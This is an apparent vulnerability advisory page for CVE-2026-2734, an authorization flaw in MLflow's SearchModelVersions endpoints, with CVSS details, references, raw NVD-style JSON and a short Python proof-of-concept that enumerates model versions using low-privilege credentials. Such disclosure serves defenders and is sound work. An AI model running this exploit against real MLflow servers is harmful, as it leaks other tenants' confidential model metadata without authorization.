CVE-2026-2734

Description

In mlflow/mlflow versions up to 3.9.0, the `SearchModelVersions` REST API endpoint and the `mlflowSearchModelVersions` GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of `SearchModelVersions` in the `BEFORE_REQUEST_VALIDATORS` and `AFTER_REQUEST_HANDLERS` for the REST API, and its omission from `GraphQLAuthorizationMiddleware.PROTECTED_FIELDS` for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

mlflow <= 3.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (MLflow REST API)
target_url = "http://localhost:5000/api/2.0/mlflow/model-versions/search"

# Valid credentials with low privileges
auth = ("low_priv_user", "password")

try:
    # Send GET request to search all model versions
    response = requests.get(target_url, auth=auth)

    if response.status_code == 200:
        data = response.json()
        print("[+] Authorization bypass successful!")
        print("[+] Leaked Model Versions:")
        for model in data.get('model_versions', []):
            print(f"Name: {model['name']}, Version: {model['version']}, Source: {model.get('source')}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2734
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2734
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2734/
[4] VulDB https://vuldb.com/cve/CVE-2026-2734
[5] https://github.com/mlflow/mlflow/commit/6989066af33fdcb03588fd71a1a67f8fc5ef12c9
[6] https://huntr.com/bounties/d632f783-b2c7-4a3b-af5e-1d693e841c08
[7] https://huntr.com/bounties/d632f783-b2c7-4a3b-af5e-1d693e841c08

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2734", "sourceIdentifier": "[email protected]", "published": "2026-05-21T05:16:22.723", "lastModified": "2026-05-21T16:08:27.133", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mlflow/mlflow versions up to 3.9.0, the `SearchModelVersions` REST API endpoint and the `mlflowSearchModelVersions` GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of `SearchModelVersions` in the `BEFORE_REQUEST_VALIDATORS` and `AFTER_REQUEST_HANDLERS` for the REST API, and its omission from `GraphQLAuthorizationMiddleware.PROTECTED_FIELDS` for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/6989066af33fdcb03588fd71a1a67f8fc5ef12c9", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/d632f783-b2c7-4a3b-af5e-1d693e841c08", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/d632f783-b2c7-4a3b-af5e-1d693e841c08", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}